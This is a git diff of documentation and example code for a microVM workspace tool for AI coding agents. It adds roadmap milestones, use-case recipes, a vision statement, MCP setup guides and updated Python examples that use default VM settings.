## Public API Changes
|
||||
|
||||
- CLI:
|
||||
- `pyro workspace service start`
|
||||
- `pyro workspace service list`
|
||||
- `pyro workspace service status`
|
||||
- `pyro workspace service logs`
|
||||
- `pyro workspace service stop`
|
||||
- SDK/MCP mirror the same shape
|
||||
|
||||
Readiness types:
|
||||
|
||||
- file
|
||||
- TCP
|
||||
- HTTP
|
||||
- command as an escape hatch
|
||||
|
||||
## Implementation Boundaries
|
||||
|
||||
- Support multiple named services per workspace from the first release.
|
||||
- Service state and logs live outside `/workspace`.
|
||||
- `workspace status` stays aggregate; detailed service inspection lives under
|
||||
`workspace service ...`.
|
||||
- Prefer typed readiness in docs/examples instead of shell-heavy readiness
|
||||
commands.
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- no host-visible port publication yet
|
||||
- no secrets or auth wiring in this milestone
|
||||
- no shell/service unification
|
||||
|
||||
## Acceptance Scenarios
|
||||
|
||||
- start two services in one workspace, wait for readiness, inspect logs and
|
||||
status, then stop them cleanly
|
||||
- service files do not appear in `workspace diff` or `workspace export`
|
||||
|
||||
## Required Repo Updates
|
||||
|
||||
- cold-start validation example that uses services
|
||||
- CLI help/examples for typed readiness
|
||||
- real Firecracker smoke for multi-service start/status/logs/stop
|
||||
|
|
@ -0,0 +1,44 @@
|
|||
# `2.8.0` Named Snapshots And Reset
|
||||
|
||||
Status: Done
|
||||
|
||||
## Goal
|
||||
|
||||
Turn reset into a first-class workflow primitive and add explicit named
|
||||
snapshots, not only the implicit create-time baseline.
|
||||
|
||||
## Public API Changes
|
||||
|
||||
- CLI:
|
||||
- `pyro workspace snapshot create`
|
||||
- `pyro workspace snapshot list`
|
||||
- `pyro workspace snapshot delete`
|
||||
- `pyro workspace reset WORKSPACE_ID [--snapshot SNAPSHOT_ID|baseline]`
|
||||
- SDK/MCP mirrors
|
||||
|
||||
## Implementation Boundaries
|
||||
|
||||
- Baseline snapshot is created automatically at workspace creation.
|
||||
- Named snapshots are explicit user-created checkpoints.
|
||||
- `workspace reset` recreates the full sandbox, not just `/workspace`.
|
||||
- Reset may target either the baseline or a named snapshot.
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- no secrets in this milestone
|
||||
- no live host-sharing or mount semantics
|
||||
- no branching/merge workflow on snapshots
|
||||
|
||||
## Acceptance Scenarios
|
||||
|
||||
- mutate workspace, create named snapshot, mutate again, reset to snapshot,
|
||||
confirm state restoration
|
||||
- mutate service and `/tmp` state, reset to baseline, confirm full sandbox
|
||||
recreation
|
||||
- diff after reset is clean when expected
|
||||
|
||||
## Required Repo Updates
|
||||
|
||||
- docs that teach reset over repair explicitly
|
||||
- example showing baseline reset and named snapshot reset
|
||||
- real Firecracker smoke for snapshot create -> mutate -> reset
|
||||
43
docs/roadmap/task-workspace-ga/2.9.0-secrets.md
Normal file
43
docs/roadmap/task-workspace-ga/2.9.0-secrets.md
Normal file
|
|
@ -0,0 +1,43 @@
|
|||
# `2.9.0` Secrets
|
||||
|
||||
Status: Done
|
||||
|
||||
## Goal
|
||||
|
||||
Add explicit secrets so workspaces can handle private dependencies,
|
||||
authenticated startup, and secret-aware shell or exec flows without weakening
|
||||
the fail-closed sandbox model.
|
||||
|
||||
## Public API Changes
|
||||
|
||||
- `workspace create` gains secrets
|
||||
- `workspace exec`, `workspace shell open`, and `workspace service start` gain
|
||||
per-call secret-to-env mapping
|
||||
- SDK and MCP mirror the same model
|
||||
|
||||
## Implementation Boundaries
|
||||
|
||||
- Support literal secrets and host-file-backed secrets.
|
||||
- Materialize secrets outside `/workspace`.
|
||||
- Secret values never appear in status, logs, diffs, or exports.
|
||||
- Reset recreates secrets from persisted secret material, not from the original
|
||||
host source path.
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- no post-create secret editing
|
||||
- no secret listing beyond safe metadata
|
||||
- no mount-based secret transport
|
||||
|
||||
## Acceptance Scenarios
|
||||
|
||||
- create a workspace with a literal secret and a file-backed secret
|
||||
- run exec and shell flows with mapped env vars
|
||||
- start a service that depends on a secret-backed readiness path
|
||||
- confirm redaction in command, shell, and service output
|
||||
|
||||
## Required Repo Updates
|
||||
|
||||
- docs for private dependency workflows
|
||||
- explicit redaction tests
|
||||
- real Firecracker smoke for secret-backed exec or service start
|
||||
|
|
@ -0,0 +1,39 @@
|
|||
# `3.0.0` Stable Workspace Product
|
||||
|
||||
Status: Done
|
||||
|
||||
## Goal
|
||||
|
||||
Freeze the workspace-first public contract and promote the product from a
|
||||
one-shot runner with extras to a stable agent workspace.
|
||||
|
||||
## Public API Changes
|
||||
|
||||
No new capability is required in this milestone. The main change is stability:
|
||||
|
||||
- workspace-first names are the only public contract
|
||||
- shell, sync, export, diff, services, snapshots, reset, secrets, and network
|
||||
policy are all part of the stable product surface
|
||||
|
||||
## Implementation Boundaries
|
||||
|
||||
- remove remaining beta/alpha language from workspace docs
|
||||
- rewrite landing docs so the workspace product is first-class and `pyro run`
|
||||
is the entry point rather than the center
|
||||
- lock the stable contract in `docs/public-contract.md`
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- no new secondary tooling
|
||||
- no job-runner, queue, or CI abstractions
|
||||
|
||||
## Acceptance Scenarios
|
||||
|
||||
- all core vision workflows are documented and runnable from CLI, SDK, and MCP
|
||||
- the repo no longer presents the workspace model as provisional
|
||||
|
||||
## Required Repo Updates
|
||||
|
||||
- top-level README repositioning around the workspace product
|
||||
- stable public contract doc for `3.x`
|
||||
- changelog entry that frames the workspace product as stable
|
||||
62
docs/roadmap/task-workspace-ga/3.1.0-secondary-disk-tools.md
Normal file
62
docs/roadmap/task-workspace-ga/3.1.0-secondary-disk-tools.md
Normal file
|
|
@ -0,0 +1,62 @@
|
|||
# `3.1.0` Secondary Disk Tools
|
||||
|
||||
Status: Done
|
||||
|
||||
## Goal
|
||||
|
||||
Add stopped-workspace disk tools the vision explicitly places last, while keeping them secondary
|
||||
to the stable workspace identity.
|
||||
|
||||
## Public API Changes
|
||||
|
||||
Shipped additions:
|
||||
|
||||
- `pyro workspace stop WORKSPACE_ID`
|
||||
- `pyro workspace start WORKSPACE_ID`
|
||||
- `pyro workspace disk export WORKSPACE_ID --output HOST_PATH`
|
||||
- `pyro workspace disk list WORKSPACE_ID [PATH] [--recursive]`
|
||||
- `pyro workspace disk read WORKSPACE_ID PATH [--max-bytes N]`
|
||||
- matching Python SDK methods:
|
||||
- `stop_workspace`
|
||||
- `start_workspace`
|
||||
- `export_workspace_disk`
|
||||
- `list_workspace_disk`
|
||||
- `read_workspace_disk`
|
||||
- matching MCP tools:
|
||||
- `workspace_stop`
|
||||
- `workspace_start`
|
||||
- `workspace_disk_export`
|
||||
- `workspace_disk_list`
|
||||
- `workspace_disk_read`
|
||||
|
||||
## Implementation Boundaries
|
||||
|
||||
- keep these tools scoped to stopped-workspace inspection, export, and offline workflows
|
||||
- do not replace shell, exec, services, diff, export, or reset as the main
|
||||
interaction model
|
||||
- prefer explicit stopped-workspace or offline semantics
|
||||
- require guest-backed workspaces for `workspace disk *`
|
||||
- keep disk export raw ext4 only in this milestone
|
||||
- scrub runtime-only guest paths such as `/run/pyro-secrets`, `/run/pyro-shells`, and
|
||||
`/run/pyro-services` before offline inspection or export
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- no drift into generic image tooling identity
|
||||
- no replacement of workspace-level host crossing
|
||||
- no disk import
|
||||
- no disk mutation
|
||||
- no create-from-disk workflow
|
||||
|
||||
## Acceptance Scenarios
|
||||
|
||||
- inspect or export a stopped workspace disk for offline analysis
|
||||
- stop a workspace, inspect `/workspace` offline, export raw ext4, then start the same workspace
|
||||
again without resetting `/workspace`
|
||||
- verify secret-backed workspaces scrub runtime-only guest paths before stopped-disk inspection
|
||||
|
||||
## Required Repo Updates
|
||||
|
||||
- docs that clearly mark disk tools as secondary
|
||||
- examples that show when disk tools are faster than a full boot
|
||||
- real smoke coverage for at least one offline inspection flow
|
||||
|
|
@ -20,6 +20,29 @@ pyro env pull debian:12
|
|||
If you are validating a freshly published official environment, also verify that the corresponding
|
||||
Docker Hub repository is public.
|
||||
|
||||
`PYRO_RUNTIME_BUNDLE_DIR` is a contributor override for validating a locally built runtime bundle.
|
||||
End-user `pyro env pull` should work without setting it.
|
||||
|
||||
## `pyro run` fails closed before the command executes
|
||||
|
||||
Cause:
|
||||
|
||||
- the bundled runtime cannot boot a guest
|
||||
- guest boot works but guest exec is unavailable
|
||||
- you are using a mock or shim runtime path that only supports host compatibility mode
|
||||
|
||||
Fix:
|
||||
|
||||
```bash
|
||||
pyro doctor
|
||||
```
|
||||
|
||||
If you intentionally want host execution for a one-off compatibility run, rerun with:
|
||||
|
||||
```bash
|
||||
pyro run --allow-host-compat debian:12 -- git --version
|
||||
```
|
||||
|
||||
## `pyro run --network` fails before the guest starts
|
||||
|
||||
Cause:
|
||||
|
|
@ -48,7 +71,8 @@ Cause:
|
|||
Fix:
|
||||
|
||||
- reinstall the package
|
||||
- verify `pyro doctor` reports `runtime_ok: true`
|
||||
- verify `pyro doctor` reports `Runtime: PASS`
|
||||
- or run `pyro doctor --json` and verify `runtime_ok: true`
|
||||
- if you are working from a source checkout, ensure large runtime artifacts are present with `git lfs pull`
|
||||
|
||||
## Ollama demo exits with tool-call failures
|
||||
|
|
|
|||
38
docs/use-cases/README.md
Normal file
38
docs/use-cases/README.md
Normal file
|
|
@ -0,0 +1,38 @@
|
|||
# Workspace Use-Case Recipes
|
||||
|
||||
These recipes turn the chat-host workspace path into five concrete agent flows.
|
||||
They are the canonical next step after the quickstart in [install.md](../install.md)
|
||||
or [first-run.md](../first-run.md).
|
||||
|
||||
Run all real guest-backed scenarios locally with:
|
||||
|
||||
```bash
|
||||
make smoke-use-cases
|
||||
```
|
||||
|
||||
Recipe matrix:
|
||||
|
||||
| Use case | Recommended mode | Smoke target | Recipe |
|
||||
| --- | --- | --- | --- |
|
||||
| Cold-start repo validation | `cold-start` | `make smoke-cold-start-validation` | [cold-start-repo-validation.md](cold-start-repo-validation.md) |
|
||||
| Repro plus fix loop | `repro-fix` | `make smoke-repro-fix-loop` | [repro-fix-loop.md](repro-fix-loop.md) |
|
||||
| Parallel isolated workspaces | `repro-fix` | `make smoke-parallel-workspaces` | [parallel-workspaces.md](parallel-workspaces.md) |
|
||||
| Unsafe or untrusted code inspection | `inspect` | `make smoke-untrusted-inspection` | [untrusted-inspection.md](untrusted-inspection.md) |
|
||||
| Review and evaluation workflows | `review-eval` | `make smoke-review-eval` | [review-eval-workflows.md](review-eval-workflows.md) |
|
||||
|
||||
All five recipes use the same real Firecracker-backed smoke runner:
|
||||
|
||||
```bash
|
||||
uv run python scripts/workspace_use_case_smoke.py --scenario all --environment debian:12
|
||||
```
|
||||
|
||||
That runner generates its own host fixtures, creates real guest-backed workspaces,
|
||||
verifies the intended flow, exports one concrete result when relevant, and cleans
|
||||
up on both success and failure. Treat `make smoke-use-cases` as the trustworthy
|
||||
guest-backed verification path for the advertised workspace workflows.
|
||||
|
||||
For a concise review before exporting, resetting, or handing work off, use:
|
||||
|
||||
```bash
|
||||
pyro workspace summary WORKSPACE_ID
|
||||
```
|
||||
36
docs/use-cases/cold-start-repo-validation.md
Normal file
36
docs/use-cases/cold-start-repo-validation.md
Normal file
|
|
@ -0,0 +1,36 @@
|
|||
# Cold-Start Repo Validation
|
||||
|
||||
Recommended mode: `cold-start`
|
||||
|
||||
Recommended startup:
|
||||
|
||||
```bash
|
||||
pyro host connect claude-code --mode cold-start
|
||||
```
|
||||
|
||||
Smoke target:
|
||||
|
||||
```bash
|
||||
make smoke-cold-start-validation
|
||||
```
|
||||
|
||||
Use this flow when an agent needs to treat a fresh repo like a new user would:
|
||||
seed it into a workspace, run the validation script, keep one long-running
|
||||
process alive, probe it from another command, and export a validation report.
|
||||
|
||||
Chat-host recipe:
|
||||
|
||||
1. Create one workspace from the repo seed.
|
||||
2. Run the validation command inside that workspace.
|
||||
3. Start the app as a long-running service with readiness configured.
|
||||
4. Probe the ready service from another command in the same workspace.
|
||||
5. Export the validation report back to the host.
|
||||
6. Delete the workspace when the evaluation is done.
|
||||
|
||||
If the named mode feels too narrow, fall back to the generic no-mode path and
|
||||
then opt into `--profile workspace-full` only when you truly need the larger
|
||||
advanced surface.
|
||||
|
||||
This recipe is intentionally guest-local and deterministic. It proves startup,
|
||||
service readiness, validation, and host-out report capture without depending on
|
||||
external networks or private registries.
|
||||
32
docs/use-cases/parallel-workspaces.md
Normal file
32
docs/use-cases/parallel-workspaces.md
Normal file
|
|
@ -0,0 +1,32 @@
|
|||
# Parallel Isolated Workspaces
|
||||
|
||||
Recommended mode: `repro-fix`
|
||||
|
||||
Recommended startup:
|
||||
|
||||
```bash
|
||||
pyro host connect codex --mode repro-fix
|
||||
```
|
||||
|
||||
Smoke target:
|
||||
|
||||
```bash
|
||||
make smoke-parallel-workspaces
|
||||
```
|
||||
|
||||
Use this flow when the agent needs one isolated workspace per issue, branch, or
|
||||
review thread and must rediscover the right one later.
|
||||
|
||||
Chat-host recipe:
|
||||
|
||||
1. Create one workspace per issue or branch with a human-friendly name and
|
||||
labels.
|
||||
2. Mutate each workspace independently.
|
||||
3. Rediscover the right workspace later with `workspace_list`.
|
||||
4. Update metadata when ownership or issue mapping changes.
|
||||
5. Delete each workspace independently when its task is done.
|
||||
|
||||
The important proof here is operational, not syntactic: names, labels, list
|
||||
ordering, and file contents stay isolated even when multiple workspaces are
|
||||
active at the same time. Parallel work still means “open another workspace in
|
||||
the same mode,” not “pick a special parallel-work mode.”
|
||||
38
docs/use-cases/repro-fix-loop.md
Normal file
38
docs/use-cases/repro-fix-loop.md
Normal file
|
|
@ -0,0 +1,38 @@
|
|||
# Repro Plus Fix Loop
|
||||
|
||||
Recommended mode: `repro-fix`
|
||||
|
||||
Recommended startup:
|
||||
|
||||
```bash
|
||||
pyro host connect codex --mode repro-fix
|
||||
```
|
||||
|
||||
Smoke target:
|
||||
|
||||
```bash
|
||||
make smoke-repro-fix-loop
|
||||
```
|
||||
|
||||
Use this flow when the agent has to reproduce a bug, patch files without shell
|
||||
quoting tricks, rerun the failing command, diff the result, export the fix, and
|
||||
reset back to baseline.
|
||||
|
||||
Chat-host recipe:
|
||||
|
||||
1. Start the server from the repo root with bare `pyro mcp serve`, or use
|
||||
`--project-path` if the host does not preserve cwd.
|
||||
2. Create one workspace from that project-aware server without manually passing
|
||||
`seed_path`.
|
||||
3. Run the failing command.
|
||||
4. Inspect the broken file with structured file reads.
|
||||
5. Apply the fix with `workspace_patch_apply`.
|
||||
6. Rerun the failing command in the same workspace.
|
||||
7. Diff and export the changed result.
|
||||
8. Reset to baseline and delete the workspace.
|
||||
|
||||
If the mode feels too narrow for the job, fall back to the generic bare
|
||||
`pyro mcp serve` path.
|
||||
|
||||
This is the main `repro-fix` story: model-native file ops, repeatable exec,
|
||||
structured diff, explicit export, and reset-over-repair.
|
||||
32
docs/use-cases/review-eval-workflows.md
Normal file
32
docs/use-cases/review-eval-workflows.md
Normal file
|
|
@ -0,0 +1,32 @@
|
|||
# Review And Evaluation Workflows
|
||||
|
||||
Recommended mode: `review-eval`
|
||||
|
||||
Recommended startup:
|
||||
|
||||
```bash
|
||||
pyro host connect claude-code --mode review-eval
|
||||
```
|
||||
|
||||
Smoke target:
|
||||
|
||||
```bash
|
||||
make smoke-review-eval
|
||||
```
|
||||
|
||||
Use this flow when an agent needs to read a checklist interactively, run an
|
||||
evaluation script, checkpoint or reset its changes, and export the final report.
|
||||
|
||||
Chat-host recipe:
|
||||
|
||||
1. Create a named snapshot before the review starts.
|
||||
2. Open a readable PTY shell and inspect the checklist interactively.
|
||||
3. Run the review or evaluation script in the same workspace.
|
||||
4. Capture `workspace summary` to review what changed and what to export.
|
||||
5. Export the final report.
|
||||
6. Reset back to the snapshot if the review branch goes sideways.
|
||||
7. Delete the workspace when the evaluation is done.
|
||||
|
||||
This is the stable shell-facing story: readable PTY output for chat loops,
|
||||
checkpointed evaluation, explicit export, and reset when a review branch goes
|
||||
sideways.
|
||||
29
docs/use-cases/untrusted-inspection.md
Normal file
29
docs/use-cases/untrusted-inspection.md
Normal file
|
|
@ -0,0 +1,29 @@
|
|||
# Unsafe Or Untrusted Code Inspection
|
||||
|
||||
Recommended mode: `inspect`
|
||||
|
||||
Recommended startup:
|
||||
|
||||
```bash
|
||||
pyro host connect codex --mode inspect
|
||||
```
|
||||
|
||||
Smoke target:
|
||||
|
||||
```bash
|
||||
make smoke-untrusted-inspection
|
||||
```
|
||||
|
||||
Use this flow when the agent needs to inspect suspicious code or an unfamiliar
|
||||
repo without granting more capabilities than necessary.
|
||||
|
||||
Chat-host recipe:
|
||||
|
||||
1. Create one workspace from the suspicious repo seed.
|
||||
2. Inspect the tree with structured file listing and file reads.
|
||||
3. Run the smallest possible command that produces the inspection report.
|
||||
4. Export only the report the agent chose to materialize.
|
||||
5. Delete the workspace when inspection is complete.
|
||||
|
||||
This recipe stays offline-by-default, uses only explicit file reads and execs,
|
||||
and exports only the inspection report the agent chose to materialize.
|
||||
199
docs/vision.md
Normal file
199
docs/vision.md
Normal file
|
|
@ -0,0 +1,199 @@
|
|||
# Vision
|
||||
|
||||
`pyro-mcp` should become the disposable MCP workspace for chat-based coding
|
||||
agents.
|
||||
|
||||
That is a different product from a generic VM wrapper, a secure CI runner, or
|
||||
an SDK-first platform.
|
||||
|
||||
`pyro-mcp` currently has no users. That means we can still make breaking
|
||||
changes freely while we shape the chat-host path into the right product.
|
||||
|
||||
## Core Thesis
|
||||
|
||||
The goal is not just to run one command in a microVM.
|
||||
|
||||
The goal is to give a chat-hosted coding agent a bounded workspace where it can:
|
||||
|
||||
- inspect a repo
|
||||
- install dependencies
|
||||
- edit files
|
||||
- run tests
|
||||
- start and inspect services
|
||||
- reset and retry
|
||||
- export patches and artifacts
|
||||
- destroy the sandbox when the task is done
|
||||
|
||||
The sandbox is the execution boundary for agentic software work.
|
||||
|
||||
## Current Product Focus
|
||||
|
||||
The product path should be obvious and narrow:
|
||||
|
||||
- Claude Code
|
||||
- Codex
|
||||
- OpenCode
|
||||
- Linux `x86_64` with KVM
|
||||
|
||||
The happy path is:
|
||||
|
||||
1. prove the host with the terminal companion commands
|
||||
2. run `pyro mcp serve`
|
||||
3. connect a chat host
|
||||
4. work through one disposable workspace per task
|
||||
|
||||
The repo can contain lower-level building blocks, but they should not drive the
|
||||
product story.
|
||||
|
||||
## What This Is Not
|
||||
|
||||
`pyro-mcp` should not drift into:
|
||||
|
||||
- a YAML pipeline system
|
||||
- a build farm
|
||||
- a generic CI job runner
|
||||
- a scheduler or queueing platform
|
||||
- a broad VM orchestration product
|
||||
- an SDK product that happens to have an MCP server on the side
|
||||
|
||||
Those products optimize for queued work, throughput, retries, matrix builds, or
|
||||
library ergonomics.
|
||||
|
||||
`pyro-mcp` should optimize for agent loops:
|
||||
|
||||
- explore
|
||||
- edit
|
||||
- test
|
||||
- observe
|
||||
- reset
|
||||
- export
|
||||
|
||||
## Why This Can Look Like CI
|
||||
|
||||
Any sandbox product starts to look like CI if the main abstraction is:
|
||||
|
||||
- submit a command
|
||||
- wait
|
||||
- collect logs
|
||||
- fetch artifacts
|
||||
|
||||
That shape is useful, but it is not the center of the vision.
|
||||
|
||||
To stay aligned, the primary abstraction should be a workspace the agent
|
||||
inhabits from a chat host, not a job the agent submits to a runner.
|
||||
|
||||
## Product Principles
|
||||
|
||||
### Chat Hosts First
|
||||
|
||||
The product should be shaped around the MCP path used from chat interfaces.
|
||||
Everything else is there to support, debug, or build that path.
|
||||
|
||||
### Workspace-First
|
||||
|
||||
The default mental model should be "open a disposable workspace" rather than
|
||||
"enqueue a task".
|
||||
|
||||
### Stateful Interaction
|
||||
|
||||
The product should support repeated interaction in one sandbox. One-shot command
|
||||
execution matters, but it is the entry point, not the destination.
|
||||
|
||||
### Explicit Host Crossing
|
||||
|
||||
Anything that crosses the host boundary should be intentional and visible:
|
||||
|
||||
- seeding a workspace
|
||||
- syncing changes in
|
||||
- exporting artifacts out
|
||||
- granting secrets or network access
|
||||
|
||||
### Reset Over Repair
|
||||
|
||||
Agents should be able to checkpoint, reset, and retry cheaply. Disposable state
|
||||
is a feature, not a limitation.
|
||||
|
||||
### Agent-Native Observability
|
||||
|
||||
The sandbox should expose the things an agent actually needs to reason about:
|
||||
|
||||
- command output
|
||||
- file diffs
|
||||
- service status
|
||||
- logs
|
||||
- readiness
|
||||
- exported results
|
||||
|
||||
## The Shape Of The Product
|
||||
|
||||
The strongest direction is a small chat-facing contract built around:
|
||||
|
||||
- one MCP server
|
||||
- one disposable workspace model
|
||||
- structured file inspection and edits
|
||||
- repeated commands in the same sandbox
|
||||
- service lifecycle when the workflow needs it
|
||||
- reset as a first-class workflow primitive
|
||||
|
||||
Representative primitives:
|
||||
|
||||
- `workspace.create`
|
||||
- `workspace.status`
|
||||
- `workspace.delete`
|
||||
- `workspace.sync_push`
|
||||
- `workspace.export`
|
||||
- `workspace.diff`
|
||||
- `workspace.reset`
|
||||
- `workspace.exec`
|
||||
- `shell.open`
|
||||
- `shell.read`
|
||||
- `shell.write`
|
||||
- `service.start`
|
||||
- `service.status`
|
||||
- `service.logs`
|
||||
|
||||
These names are illustrative, not a promise that every lower-level repo surface
|
||||
should be treated as equally stable or equally important.
|
||||
|
||||
## Interactive Shells And Disk Operations
|
||||
|
||||
Interactive shells are aligned with the vision because they make the agent feel
|
||||
present inside the sandbox rather than reduced to one-shot job submission.
|
||||
|
||||
They should remain subordinate to the workspace model, not replace it with a
|
||||
raw SSH story.
|
||||
|
||||
Disk-level operations are useful for:
|
||||
|
||||
- fast workspace seeding
|
||||
- snapshotting
|
||||
- offline inspection
|
||||
- export/import without a full boot
|
||||
|
||||
They should remain supporting tools rather than the product identity.
|
||||
|
||||
## What To Build Next
|
||||
|
||||
Features should keep reinforcing the chat-host path in this order:
|
||||
|
||||
1. make the first chat-host setup painfully obvious
|
||||
2. make the recipe-backed workflows feel trivial from chat
|
||||
3. keep the smoke pack trustworthy enough to gate the advertised stories
|
||||
4. keep the terminal companion path good enough to debug what the chat sees
|
||||
5. let lower-level repo surfaces move freely when the chat-host product needs it
|
||||
|
||||
The completed workspace GA roadmap lives in
|
||||
[roadmap/task-workspace-ga.md](roadmap/task-workspace-ga.md).
|
||||
|
||||
The follow-on milestones that make the chat-host path clearer live in
|
||||
[roadmap/llm-chat-ergonomics.md](roadmap/llm-chat-ergonomics.md).
|
||||
|
||||
## Litmus Test
|
||||
|
||||
When evaluating a new feature, ask:
|
||||
|
||||
"Does this make Claude Code, Codex, or OpenCode feel more natural and powerful
|
||||
when they work inside a disposable sandbox?"
|
||||
|
||||
If the better description is "it helps build a broader VM toolkit or SDK", it
|
||||
is probably pushing the product in the wrong direction.
|
||||
|
|
@ -6,6 +6,13 @@ import json
|
|||
from typing import Any
|
||||
|
||||
from pyro_mcp import Pyro
|
||||
from pyro_mcp.vm_manager import (
|
||||
DEFAULT_ALLOW_HOST_COMPAT,
|
||||
DEFAULT_MEM_MIB,
|
||||
DEFAULT_TIMEOUT_SECONDS,
|
||||
DEFAULT_TTL_SECONDS,
|
||||
DEFAULT_VCPU_COUNT,
|
||||
)
|
||||
|
||||
VM_RUN_TOOL: dict[str, Any] = {
|
||||
"name": "vm_run",
|
||||
|
|
@ -20,8 +27,9 @@ VM_RUN_TOOL: dict[str, Any] = {
|
|||
"timeout_seconds": {"type": "integer", "default": 30},
|
||||
"ttl_seconds": {"type": "integer", "default": 600},
|
||||
"network": {"type": "boolean", "default": False},
|
||||
"allow_host_compat": {"type": "boolean", "default": False},
|
||||
},
|
||||
"required": ["environment", "command", "vcpu_count", "mem_mib"],
|
||||
"required": ["environment", "command"],
|
||||
},
|
||||
}
|
||||
|
||||
|
|
@ -31,11 +39,12 @@ def call_vm_run(arguments: dict[str, Any]) -> dict[str, Any]:
|
|||
return pyro.run_in_vm(
|
||||
environment=str(arguments["environment"]),
|
||||
command=str(arguments["command"]),
|
||||
vcpu_count=int(arguments["vcpu_count"]),
|
||||
mem_mib=int(arguments["mem_mib"]),
|
||||
timeout_seconds=int(arguments.get("timeout_seconds", 30)),
|
||||
ttl_seconds=int(arguments.get("ttl_seconds", 600)),
|
||||
vcpu_count=int(arguments.get("vcpu_count", DEFAULT_VCPU_COUNT)),
|
||||
mem_mib=int(arguments.get("mem_mib", DEFAULT_MEM_MIB)),
|
||||
timeout_seconds=int(arguments.get("timeout_seconds", DEFAULT_TIMEOUT_SECONDS)),
|
||||
ttl_seconds=int(arguments.get("ttl_seconds", DEFAULT_TTL_SECONDS)),
|
||||
network=bool(arguments.get("network", False)),
|
||||
allow_host_compat=bool(arguments.get("allow_host_compat", DEFAULT_ALLOW_HOST_COMPAT)),
|
||||
)
|
||||
|
||||
|
||||
|
|
@ -43,8 +52,6 @@ def main() -> None:
|
|||
tool_arguments: dict[str, Any] = {
|
||||
"environment": "debian:12",
|
||||
"command": "git --version",
|
||||
"vcpu_count": 1,
|
||||
"mem_mib": 1024,
|
||||
"timeout_seconds": 30,
|
||||
"network": False,
|
||||
}
|
||||
|
|
|
|||
52
examples/claude_code_mcp.md
Normal file
52
examples/claude_code_mcp.md
Normal file
|
|
@ -0,0 +1,52 @@
|
|||
# Claude Code MCP Setup
|
||||
|
||||
Recommended modes:
|
||||
|
||||
- `cold-start`
|
||||
- `review-eval`
|
||||
|
||||
Preferred helper flow:
|
||||
|
||||
```bash
|
||||
pyro host connect claude-code --mode cold-start
|
||||
pyro host connect claude-code --mode review-eval
|
||||
pyro host doctor --mode cold-start
|
||||
```
|
||||
|
||||
Package without install:
|
||||
|
||||
```bash
|
||||
claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start
|
||||
claude mcp list
|
||||
```
|
||||
|
||||
Run that from the repo root when you want the first `workspace_create` to start
|
||||
from the current checkout automatically.
|
||||
|
||||
Already installed:
|
||||
|
||||
```bash
|
||||
claude mcp add pyro -- pyro mcp serve --mode cold-start
|
||||
claude mcp list
|
||||
```
|
||||
|
||||
If Claude Code launches the server from an unexpected cwd, pin the project
|
||||
explicitly:
|
||||
|
||||
```bash
|
||||
pyro host connect claude-code --mode cold-start --project-path /abs/path/to/repo
|
||||
claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start --project-path /abs/path/to/repo
|
||||
```
|
||||
|
||||
If the local config drifts later:
|
||||
|
||||
```bash
|
||||
pyro host repair claude-code --mode cold-start
|
||||
```
|
||||
|
||||
Move to `workspace-full` only when the chat truly needs shells, services,
|
||||
snapshots, secrets, network policy, or disk tools:
|
||||
|
||||
```bash
|
||||
claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --profile workspace-full
|
||||
```
|
||||
52
examples/codex_mcp.md
Normal file
52
examples/codex_mcp.md
Normal file
|
|
@ -0,0 +1,52 @@
|
|||
# Codex MCP Setup
|
||||
|
||||
Recommended modes:
|
||||
|
||||
- `repro-fix`
|
||||
- `inspect`
|
||||
|
||||
Preferred helper flow:
|
||||
|
||||
```bash
|
||||
pyro host connect codex --mode repro-fix
|
||||
pyro host connect codex --mode inspect
|
||||
pyro host doctor --mode repro-fix
|
||||
```
|
||||
|
||||
Package without install:
|
||||
|
||||
```bash
|
||||
codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix
|
||||
codex mcp list
|
||||
```
|
||||
|
||||
Run that from the repo root when you want the first `workspace_create` to start
|
||||
from the current checkout automatically.
|
||||
|
||||
Already installed:
|
||||
|
||||
```bash
|
||||
codex mcp add pyro -- pyro mcp serve --mode repro-fix
|
||||
codex mcp list
|
||||
```
|
||||
|
||||
If Codex launches the server from an unexpected cwd, pin the project
|
||||
explicitly:
|
||||
|
||||
```bash
|
||||
pyro host connect codex --mode repro-fix --project-path /abs/path/to/repo
|
||||
codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix --project-path /abs/path/to/repo
|
||||
```
|
||||
|
||||
If the local config drifts later:
|
||||
|
||||
```bash
|
||||
pyro host repair codex --mode repro-fix
|
||||
```
|
||||
|
||||
Move to `workspace-full` only when the chat truly needs shells, services,
|
||||
snapshots, secrets, network policy, or disk tools:
|
||||
|
||||
```bash
|
||||
codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --profile workspace-full
|
||||
```
|
||||
|
|
@ -13,6 +13,13 @@ import json
|
|||
from typing import Any, Callable, TypeVar, cast
|
||||
|
||||
from pyro_mcp import Pyro
|
||||
from pyro_mcp.vm_manager import (
|
||||
DEFAULT_ALLOW_HOST_COMPAT,
|
||||
DEFAULT_MEM_MIB,
|
||||
DEFAULT_TIMEOUT_SECONDS,
|
||||
DEFAULT_TTL_SECONDS,
|
||||
DEFAULT_VCPU_COUNT,
|
||||
)
|
||||
|
||||
F = TypeVar("F", bound=Callable[..., Any])
|
||||
|
||||
|
|
@ -21,11 +28,12 @@ def run_vm_run_tool(
|
|||
*,
|
||||
environment: str,
|
||||
command: str,
|
||||
vcpu_count: int,
|
||||
mem_mib: int,
|
||||
timeout_seconds: int = 30,
|
||||
ttl_seconds: int = 600,
|
||||
vcpu_count: int = DEFAULT_VCPU_COUNT,
|
||||
mem_mib: int = DEFAULT_MEM_MIB,
|
||||
timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS,
|
||||
ttl_seconds: int = DEFAULT_TTL_SECONDS,
|
||||
network: bool = False,
|
||||
allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT,
|
||||
) -> str:
|
||||
pyro = Pyro()
|
||||
result = pyro.run_in_vm(
|
||||
|
|
@ -36,6 +44,7 @@ def run_vm_run_tool(
|
|||
timeout_seconds=timeout_seconds,
|
||||
ttl_seconds=ttl_seconds,
|
||||
network=network,
|
||||
allow_host_compat=allow_host_compat,
|
